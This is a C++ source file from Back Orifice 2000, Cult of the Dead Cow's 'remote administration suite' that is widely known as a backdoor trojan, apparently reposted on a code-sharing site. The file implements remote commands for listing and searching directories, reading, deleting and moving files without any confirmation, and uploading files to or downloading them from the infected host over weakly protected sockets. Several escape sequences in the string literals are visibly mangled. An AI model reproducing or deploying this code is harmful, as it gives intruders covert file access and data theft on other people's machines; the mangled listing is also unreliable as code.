cmd_file.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:28k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<commandloop.h>
  20. #include<bocomreg.h>
  21. #include<cmdcmd_file.h>
  22. #include<config.h>
  23. #include<strhandle.h>
  24. char g_svFileOptions[]="<**CFG**>File Transfer"
  25.                        "S[8]:File Xfer Net Type=TCPIO"
  26.                        "S[48]:File Xfer Bind Str=RANDOM"
  27.       "S[8]:File Xfer Encryption=XOR"
  28.    "S[8]:File Xfer Auth=NULLAUTH";
  29. typedef enum {
  30. SEND,
  31. RECV,
  32. EMIT
  33. } XFERTYPE;
  34. typedef struct {
  35. char svName[256];
  36. char svPath[MAX_PATH+1];
  37. BOOL bActive;
  38. HANDLE htd;
  39. XFERTYPE nType;
  40. } XFERFILEINFO;
  41. XFERFILEINFO *g_pXferInfo=NULL;
  42. int g_nXfers;
  43. CRITICAL_SECTION g_csXfer;
  44. #define MAX_XFERS 32
  45. typedef struct {
  46. HANDLE hFile;
  47. CAuthSocket *fas;
  48. BOOL *pbActive;
  49. } XFERFILEARGS;
  50. int CmdProc_DirectoryList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  51. {
  52. char svBuffer[1024];
  53. // Set directory wildcard spec if one doesn't exist
  54. char svPath[MAX_PATH+1];
  55. lstrcpyn(svPath,svArg2,MAX_PATH-1);
  56. if(svPath[lstrlen(svPath)-1]=='\')
  57. lstrcat(svPath, "*");
  58. // Start file enumeration
  59. HANDLE hFind;
  60. WIN32_FIND_DATA finddata;
  61. hFind=FindFirstFile(svPath, &finddata);
  62. if(hFind==INVALID_HANDLE_VALUE) {
  63. IssueAuthCommandReply(cas_from,comid,1,"Unable to enumerate files.n");
  64. return 1;
  65. }
  66. wsprintf(svBuffer,"Contents of directory '%s':n", svArg2 );
  67. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  68. // Enumerate files
  69. int nCount;
  70. DWORD dwBytes;
  71. nCount=0;
  72. dwBytes=0;
  73. do {
  74. char svAttribs[8];
  75. FILETIME filetime;
  76. SYSTEMTIME systemtime;
  77. lstrcpy(svAttribs,"-------");
  78. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
  79. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
  80. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
  81. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
  82. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
  83. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
  84. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
  85. FileTimeToLocalFileTime(&finddata.ftLastWriteTime, &filetime);
  86. FileTimeToSystemTime(&filetime, &systemtime);
  87. wsprintf(svBuffer,"%12s  %8d %7s %2.2d-%2.2d-%4.4d %2.2d:%2.2d %.260sn", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear, (int)systemtime.wHour%24, (int)systemtime.wMinute%60, finddata.cFileName );
  88. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  89. nCount++;
  90. dwBytes+=finddata.nFileSizeLow;
  91. } while(FindNextFile(hFind, &finddata));
  92. // Close enumeration
  93. FindClose(hFind);
  94. wsprintf(svBuffer, "%lu bytes in %ld files.n", dwBytes, nCount);
  95. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  96. return 0;
  97. }
  98. int FindFile(CAuthSocket *cas_from, int comid, char *svRoot, char *svSpec, char *svBuffer)
  99. {
  100. char svPath[MAX_PATH+1];
  101. // Set directory wildcard spec if one doesn't exist
  102. lstrcpyn(svPath,svRoot,MAX_PATH-1);
  103. if(svPath[lstrlen(svPath)-1]=='\')
  104. lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-1-lstrlen(svPath));
  105. else {
  106. lstrcat(svPath,"\");
  107. lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-lstrlen(svPath));
  108. }
  109. // Start file enumeration
  110. HANDLE hFind;
  111. WIN32_FIND_DATA finddata;
  112. int nCount;
  113. nCount=0;
  114. hFind=FindFirstFile(svPath, &finddata);
  115. if(hFind!=INVALID_HANDLE_VALUE) {
  116. wsprintf(svBuffer,"Matched files in directory '%s':n", svRoot );
  117. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  118. // Enumerate files
  119. do {
  120. char svAttribs[8];
  121. FILETIME filetime;
  122. SYSTEMTIME systemtime;
  123. lstrcpy(svAttribs,"-------");
  124. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
  125. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
  126. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
  127. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
  128. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
  129. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
  130. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
  131. FileTimeToLocalFileTime(&finddata.ftCreationTime, &filetime);
  132. FileTimeToSystemTime(&filetime, &systemtime);
  133. wsprintf(svBuffer,"%12s  %8d %7s %02d-%02d-%02d %02d:%02d %.260sn", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear%100, (int)systemtime.wHour, (int)systemtime.wMinute, finddata.cFileName );
  134. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  135. nCount++;
  136. } while(FindNextFile(hFind, &finddata));
  137. // Close enumeration
  138. FindClose(hFind);
  139. }
  140. // Recurse
  141. lstrcpyn(svPath,svRoot,MAX_PATH-1);
  142. if(svPath[lstrlen(svPath)-1]=='\')
  143. lstrcpyn(svPath+lstrlen(svPath), "*", MAX_PATH-lstrlen(svPath));
  144. else {
  145. lstrcpyn(svPath+lstrlen(svPath), "\*", MAX_PATH-lstrlen(svPath));
  146. }
  147. hFind=FindFirstFile(svPath, &finddata);
  148. if(hFind==INVALID_HANDLE_VALUE) {
  149. return nCount;
  150. }
  151. do {
  152. if((lstrcmp(finddata.cFileName,".")==0) ||
  153.    (lstrcmp(finddata.cFileName,"..")==0)) continue;
  154. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  155. char svNewRoot[MAX_PATH+1];
  156. lstrcpyn(svNewRoot,svRoot,MAX_PATH-1);
  157. if(svNewRoot[lstrlen(svNewRoot)-1]=='\')
  158. lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-1-lstrlen(svNewRoot));
  159. else {
  160. lstrcat(svNewRoot,"\");
  161. lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-lstrlen(svNewRoot));
  162. }
  163. nCount+=FindFile(cas_from,comid,svNewRoot,svSpec,svBuffer);
  164. }
  165. } while(FindNextFile(hFind, &finddata));
  166. // Close enumeration
  167. FindClose(hFind);
  168. return nCount;
  169. }
  170. int CmdProc_FileFind(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  171. {
  172. char svBuffer[1024];
  173. int nCount;
  174. nCount=FindFile(cas_from,comid,svArg2,svArg3,svBuffer);
  175. wsprintf(svBuffer,"%d matches found.n",nCount);
  176. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  177. return 0;
  178. }
  179. int CmdProc_FileDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  180. {
  181. if(DeleteFile(svArg2)==0) {
  182. IssueAuthCommandReply(cas_from,comid,0,"Could not delete file.n");
  183. return 1;
  184. }
  185. IssueAuthCommandReply(cas_from,comid,0,"File deleted.n");
  186. return 0;
  187. }
  188. int CmdProc_FileView(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  189. {
  190. HANDLE hFile;
  191. hFile=CreateFile(svArg2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  192. if(hFile==INVALID_HANDLE_VALUE) {
  193. IssueAuthCommandReply(cas_from,comid,0,"Could not open file.n");
  194. return 1;
  195. }
  196. // Spit out lines to io socket
  197. char *pData;
  198. char *svLine;
  199. DWORD dwLen,dwBytes;
  200. pData=(char *) malloc(4097);
  201. svLine=(char *) malloc(4097);
  202. if(pData==NULL || svLine==NULL) {
  203. if(pData!=NULL) free(pData);
  204. if(svLine!=NULL) free(svLine);
  205. IssueAuthCommandReply(cas_from,comid,0,"Error allocating memory.n");
  206. return 1;
  207. }
  208. dwLen=4096;
  209. do {
  210. ReadFile(hFile,pData,dwLen,&dwBytes,NULL);
  211. pData[dwBytes]='';
  212. IssueAuthCommandReply(cas_from,comid,1,pData);
  213. } while(dwLen==dwBytes);
  214. IssueAuthCommandReply(cas_from,comid,0,"n<<EOF>>n");
  215. free(pData);
  216. free(svLine);
  217. CloseHandle(hFile);
  218. return 0;
  219. }
  220. int CmdProc_FileRename(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  221. {
  222. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  223. char svSrc[260];
  224. lstrcpyn(svSrc,svArg2,259);
  225. svSrc[lstrlen(svSrc)+1]='';
  226. char svDst[260];
  227. lstrcpyn(svDst,svArg3,259);
  228. svDst[lstrlen(svDst)+1]='';
  229. SHFILEOPSTRUCT shfos;
  230. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  231. shfos.hwnd=NULL;
  232. shfos.wFunc=FO_MOVE;
  233. shfos.pFrom=svSrc;
  234. shfos.pTo=svDst;
  235. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  236. if(SHFileOperation(&shfos)!=0) {
  237. IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename directory.n");
  238. return 1;
  239. }
  240. } else {
  241. if(MoveFile(svArg2,svArg3)==0) {
  242. IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename file.n");
  243. return 1;
  244. }
  245. }
  246. IssueAuthCommandReply(cas_from,comid,0,"File moved/renamed.n");
  247. return 0;
  248. }
  249. int CmdProc_FileCopy(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  250. {
  251. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  252. char svSrc[260];
  253. lstrcpyn(svSrc,svArg2,259);
  254. svSrc[lstrlen(svSrc)+1]='';
  255. char svDst[260];
  256. lstrcpyn(svDst,svArg3,259);
  257. svDst[lstrlen(svDst)+1]='';
  258. SHFILEOPSTRUCT shfos;
  259. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  260. shfos.hwnd=NULL;
  261. shfos.wFunc=FO_COPY;
  262. shfos.pFrom=svSrc;
  263. shfos.pTo=svDst;
  264. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  265. if(SHFileOperation(&shfos)!=0) {
  266. IssueAuthCommandReply(cas_from,comid,0,"Could not copy directory.n");
  267. return 1;
  268. }
  269. } else {
  270. if(CopyFile(svArg2,svArg3,FALSE)==0) {
  271. IssueAuthCommandReply(cas_from,comid,0,"Could not copy file.n");
  272. return 1;
  273. }
  274. }
  275. IssueAuthCommandReply(cas_from,comid,0,"File copied.n");
  276. return 0;
  277. }
  278. int CmdProc_DirectoryMake(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  279. {
  280. if(CreateDirectory(svArg2,NULL)==0) {
  281. IssueAuthCommandReply(cas_from,comid,0,"Could not create directory.n");
  282. return 1;
  283. }
  284. IssueAuthCommandReply(cas_from,comid,0,"Directory created.n");
  285. return 0;
  286. }
  287. int CmdProc_DirectoryDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  288. {
  289. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  290. char svSrc[260];
  291. lstrcpyn(svSrc,svArg2,259);
  292. svSrc[lstrlen(svSrc)+1]='';
  293. SHFILEOPSTRUCT shfos;
  294. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  295. shfos.hwnd=GetDesktopWindow();
  296. shfos.wFunc=FO_DELETE;
  297. shfos.pFrom=svSrc;
  298. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  299. if(SHFileOperation(&shfos)!=0) {
  300. IssueAuthCommandReply(cas_from,comid,0,"Could not delete directory.n");
  301. return 1;
  302. }
  303. } else {
  304. IssueAuthCommandReply(cas_from,comid,0,"Could not delete. Not a directory.n");
  305. return 1;
  306. }
  307. IssueAuthCommandReply(cas_from,comid,0,"Directory removed.n");
  308. return 0;
  309. }
  310. int Cmd_FileXfer_Init(void)
  311. {
  312. InitializeCriticalSection(&g_csXfer);
  313. g_nXfers=0;
  314. g_pXferInfo=(XFERFILEINFO *)malloc(sizeof(XFERFILEINFO)*MAX_XFERS);
  315. return 0;
  316. }
  317. int Cmd_FileXfer_Kill(void)
  318. {
  319. DeleteCriticalSection(&g_csXfer);
  320. int i;
  321. for(i=0;i<g_nXfers;i++) {
  322. g_pXferInfo[i].bActive=FALSE;
  323. WaitForSingleObject(g_pXferInfo[i].htd,5000);
  324. }
  325. g_nXfers=0;
  326. free(g_pXferInfo);
  327. return 0;
  328. }
  329. DWORD WINAPI RecvFileThread(LPVOID lpArgs)
  330. {
  331. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  332. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  333. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  334. free(lpArgs);
  335. // Receive file
  336. CAuthSocket *child=NULL;
  337. while(*pbActive) {
  338. // Accept only one connection
  339. child=fas->Accept();
  340. if(child!=NULL) {
  341. break;
  342. }
  343. Sleep(0);
  344. }
  345. if(child) {
  346. int ret,len,count;
  347. BYTE *data;
  348. // Get transfer length
  349. while((ret=child->Recv(&data,&len))==0);
  350. if(ret>0) {
  351. count=*(int *)data;
  352. // Transfer file
  353. while((*pbActive) && count>0) {
  354. ret=child->Recv(&data,&len);
  355. if(ret>0) {
  356. DWORD written;
  357. WriteFile(hFile,data,len,&written,NULL);
  358. fas->Free(data);
  359. if(written!=(DWORD)len) {
  360. *pbActive=FALSE;
  361. }
  362. count-=len;
  363. } else if(ret==0) {
  364. Sleep(20);
  365. } else {
  366. *pbActive=FALSE;
  367. }
  368. }
  369. }
  370. // close socket
  371. child->Close();
  372. delete child;
  373. }
  374. fas->Close();
  375. delete fas;
  376. // close file
  377. CloseHandle(hFile);
  378. // Remove self from xfer list
  379. EnterCriticalSection(&g_csXfer);
  380. int i;
  381. for(i=0;i<g_nXfers;i++) {
  382. if(pbActive==&(g_pXferInfo[i].bActive)) {
  383. if(i<(g_nXfers-1)) {
  384. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  385. }
  386. g_nXfers--;
  387. break;
  388. }
  389. }
  390. LeaveCriticalSection(&g_csXfer);
  391. return 0;
  392. }
  393. int CmdProc_ReceiveFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  394. {
  395. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;
  396. // Check if already started
  397. EnterCriticalSection(&g_csXfer);
  398. if(g_nXfers>=MAX_XFERS) {
  399. IssueAuthCommandReply(cas_from,comid,0,"Could not receive. Too many transfers started.n");
  400. LeaveCriticalSection(&g_csXfer);
  401. return -1;
  402. }
  403. // Get parameters
  404. svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  405. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  406. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  407. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  408. if((svParam=svArg2)!=NULL) {
  409. if(svParam[0]!='') svBindStr=svParam;
  410. if((svParam=BreakString(svBindStr,","))!=NULL) {
  411. if(svParam[0]!='') svNetMod=svParam;
  412. if((svParam=BreakString(svNetMod,","))!=NULL) {
  413. if(svParam[0]!='') svEnc=svParam;
  414. if((svParam=BreakString(svEnc,","))!=NULL) {
  415. if(svParam[0]!='') svAuth=svParam;
  416. }
  417. }
  418. }
  419. }
  420. if(svBindStr[0]=='') {
  421. svBindStr="RANDOM";
  422. }
  423. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  424. if(svNetMod[0]=='') {
  425. svNetMod=cas_from->m_pIOH->pQuery();
  426. }
  427. lstrcpyn(svShortNetMod,svNetMod,16);
  428. BreakString(svShortNetMod,":");
  429. if(svEnc[0]=='') {
  430. svEnc=cas_from->m_pEE->pQuery();
  431. }
  432. lstrcpyn(svShortEnc,svEnc,16);
  433. BreakString(svShortEnc,":");
  434. if(svAuth[0]=='') {
  435. svAuth=cas_from->GetAuthHandler()->pQuery();
  436. }
  437. lstrcpyn(svShortAuth,svAuth,16);
  438. BreakString(svShortAuth,":");
  439. if(svArg3==NULL) {
  440. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply filename.n");
  441. LeaveCriticalSection(&g_csXfer);
  442. return -1;
  443. }
  444. CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
  445. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  446. IssueAuthCommandReply(cas_from,comid,0,"Could not start listen socketn");
  447. LeaveCriticalSection(&g_csXfer);
  448. return -1;
  449. }
  450. HANDLE hFile=CreateFile(svArg3,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  451. if(hFile==INVALID_HANDLE_VALUE) {
  452. IssueAuthCommandReply(cas_from,comid,0,"Could not create file.n");
  453. fas->Close();
  454. LeaveCriticalSection(&g_csXfer);
  455. return -1;
  456. }
  457. // Create transfer thread
  458. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  459. pArgs->hFile=hFile;
  460. pArgs->fas=fas;
  461. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  462. DWORD tid;
  463. HANDLE htd=CreateThread(NULL,0,RecvFileThread,pArgs,CREATE_SUSPENDED,&tid);
  464. if(htd==NULL) {
  465. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  466. CloseHandle(hFile);
  467. fas->Close();
  468. LeaveCriticalSection(&g_csXfer);
  469. return -1;
  470. }
  471. // Add transfer to table
  472. fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
  473. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  474. g_pXferInfo[g_nXfers].bActive=TRUE;
  475. g_pXferInfo[g_nXfers].nType=RECV;
  476. g_pXferInfo[g_nXfers].htd=htd;
  477. g_nXfers++;
  478. LeaveCriticalSection(&g_csXfer);
  479. char svMsg[512];
  480. wsprintf(svMsg, "File recv started on: %.256s,%.16s,%.16s,%.16sn",
  481. g_pXferInfo[g_nXfers-1].svName,
  482. svShortNetMod,
  483. svShortEnc,
  484. svShortAuth);
  485. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  486. ResumeThread(htd);
  487. return 0;
  488. }
  489. DWORD WINAPI SendFileThread(LPVOID lpArgs)
  490. {
  491. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  492. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  493. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  494. free(lpArgs);
  495. // Send file
  496. int ret,count;
  497. DWORD dwLength=GetFileSize(hFile,NULL);
  498. ret=fas->Send((BYTE*)&dwLength,sizeof(DWORD));
  499. if(ret>0) {
  500. count=dwLength;
  501. while(count>0 && (*pbActive)) {
  502. BYTE buf[1400];
  503. DWORD dwBytes;
  504. ReadFile(hFile,buf,1400,&dwBytes,NULL);
  505. if(dwBytes>0) {
  506. fas->Send(buf,(int)dwBytes);
  507. count-=(int)dwBytes;
  508. }
  509. }
  510. *pbActive=FALSE;
  511. }
  512. fas->Close();
  513. delete fas;
  514. CloseHandle(hFile);
  515. // Remove self from xfer list
  516. EnterCriticalSection(&g_csXfer);
  517. int i;
  518. for(i=0;i<g_nXfers;i++) {
  519. if(pbActive==&(g_pXferInfo[i].bActive)) {
  520. if(i<(g_nXfers-1)) {
  521. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  522. }
  523. g_nXfers--;
  524. break;
  525. }
  526. }
  527. LeaveCriticalSection(&g_csXfer);
  528. return 0;
  529. }
  530. int CmdProc_SendFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  531. {
  532. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svAddress=NULL,*svParam=NULL;
  533. // Check if already started
  534. EnterCriticalSection(&g_csXfer);
  535. if(g_nXfers>=MAX_XFERS) {
  536. IssueAuthCommandReply(cas_from,comid,0,"Could not send. Too many transfers started.n");
  537. LeaveCriticalSection(&g_csXfer);
  538. return -1;
  539. }
  540. // Get parameters
  541. svAddress=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  542. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  543. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  544. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  545. if((svParam=svArg2)!=NULL) {
  546. if(svParam[0]!='') svAddress=svParam;
  547. if((svParam=BreakString(svAddress,","))!=NULL) {
  548. if(svParam[0]!='') svNetMod=svParam;
  549. if((svParam=BreakString(svNetMod,","))!=NULL) {
  550. if(svParam[0]!='') svEnc=svParam;
  551. if((svParam=BreakString(svEnc,","))!=NULL) {
  552. if(svParam[0]!='') svAuth=svParam;
  553. }
  554. }
  555. }
  556. }
  557. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  558. if(svNetMod[0]=='') {
  559. svNetMod=cas_from->m_pIOH->pQuery();
  560. }
  561. lstrcpyn(svShortNetMod,svNetMod,16);
  562. BreakString(svShortNetMod,":");
  563. if(svEnc[0]=='') {
  564. svEnc=cas_from->m_pEE->pQuery();
  565. }
  566. lstrcpyn(svShortEnc,svEnc,16);
  567. BreakString(svShortEnc,":");
  568. if(svAuth[0]=='') {
  569. svAuth=cas_from->GetAuthHandler()->pQuery();
  570. }
  571. lstrcpyn(svShortAuth,svAuth,16);
  572. BreakString(svShortAuth,":");
  573. if(svArg3==NULL) {
  574. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.n");
  575. LeaveCriticalSection(&g_csXfer);
  576. return -1;
  577. }
  578. CAuthSocket *fas=ConnectAuthSocket(NULL,cas_from->GetUserID(),NULL,svAddress,svNetMod,svEnc,svAuth);
  579. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  580. IssueAuthCommandReply(cas_from,comid,0,"Could not connect to address.n");
  581. LeaveCriticalSection(&g_csXfer);
  582. return -1;
  583. }
  584. HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  585. if(hFile==INVALID_HANDLE_VALUE) {
  586. IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.n");
  587. fas->Close();
  588. LeaveCriticalSection(&g_csXfer);
  589. return -1;
  590. }
  591. // Create transfer thread
  592. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  593. pArgs->hFile=hFile;
  594. pArgs->fas=fas;
  595. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  596. DWORD tid;
  597. HANDLE htd=CreateThread(NULL,0,SendFileThread,pArgs,CREATE_SUSPENDED,&tid);
  598. if(htd==NULL) {
  599. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  600. CloseHandle(hFile);
  601. fas->Close();
  602. LeaveCriticalSection(&g_csXfer);
  603. return -1;
  604. }
  605. // Add transfer to table
  606. fas->GetRemoteAddr(g_pXferInfo[g_nXfers].svName,256);
  607. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  608. g_pXferInfo[g_nXfers].bActive=TRUE;
  609. g_pXferInfo[g_nXfers].nType=SEND;
  610. g_pXferInfo[g_nXfers].htd=htd;
  611. g_nXfers++;
  612. LeaveCriticalSection(&g_csXfer);
  613. char svMsg[512];
  614. wsprintf(svMsg, "File send started to: %.256s,%.16s,%.16s,%.16sn",
  615. g_pXferInfo[g_nXfers-1].svName,
  616. svShortNetMod,
  617. svShortEnc,
  618. svShortAuth);
  619. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  620. ResumeThread(htd);
  621. return 0;
  622. }
  623. DWORD WINAPI EmitFileThread(LPVOID lpArgs)
  624. {
  625. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  626. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  627. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  628. free(lpArgs);
  629. // Receive file
  630. CAuthSocket *child=NULL;
  631. while(*pbActive) {
  632. // Accept only one connection
  633. child=fas->Accept();
  634. if(child!=NULL) {
  635. break;
  636. }
  637. Sleep(0);
  638. }
  639. if(child) {
  640. int ret,count;
  641. DWORD dwLength=GetFileSize(hFile,NULL);
  642. while((ret=child->Send((BYTE*)&dwLength,sizeof(DWORD)))==0) Sleep(20);
  643. if(ret>0) {
  644. count=dwLength;
  645. while(count>0 && (*pbActive)) {
  646. BYTE buf[4096],*pbuf;
  647. DWORD dwBytes;
  648. ReadFile(hFile,buf,4096,&dwBytes,NULL);
  649. pbuf=buf;
  650. if(dwBytes>0) {
  651. while((ret=child->Send(buf,(int)dwBytes))==0) Sleep(20);
  652. if(ret<0) *pbActive=FALSE;
  653. count-=(int)dwBytes;
  654. }
  655. }
  656. *pbActive=FALSE;
  657. }
  658. // close socket
  659. child->Close();
  660. delete child;
  661. }
  662. fas->Close();
  663. delete fas;
  664. // close file
  665. CloseHandle(hFile);
  666. // Remove self from xfer list
  667. EnterCriticalSection(&g_csXfer);
  668. int i;
  669. for(i=0;i<g_nXfers;i++) {
  670. if(pbActive==&(g_pXferInfo[i].bActive)) {
  671. if(i<(g_nXfers-1)) {
  672. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  673. }
  674. g_nXfers--;
  675. break;
  676. }
  677. }
  678. LeaveCriticalSection(&g_csXfer);
  679. return 0;
  680. }
  681. int CmdProc_EmitFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  682. {
  683. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;
  684. // Check if already started
  685. EnterCriticalSection(&g_csXfer);
  686. if(g_nXfers>=MAX_XFERS) {
  687. IssueAuthCommandReply(cas_from,comid,0,"Could not emit. Too many transfers started.n");
  688. LeaveCriticalSection(&g_csXfer);
  689. return -1;
  690. }
  691. // Get parameters
  692. svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  693. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  694. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  695. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  696. if((svParam=svArg2)!=NULL) {
  697. if(svParam[0]!='') svBindStr=svParam;
  698. if((svParam=BreakString(svBindStr,","))!=NULL) {
  699. if(svParam[0]!='') svNetMod=svParam;
  700. if((svParam=BreakString(svNetMod,","))!=NULL) {
  701. if(svParam[0]!='') svEnc=svParam;
  702. if((svParam=BreakString(svEnc,","))!=NULL) {
  703. if(svParam[0]!='') svAuth=svParam;
  704. }
  705. }
  706. }
  707. }
  708. if(svBindStr[0]=='') {
  709. svBindStr="RANDOM";
  710. }
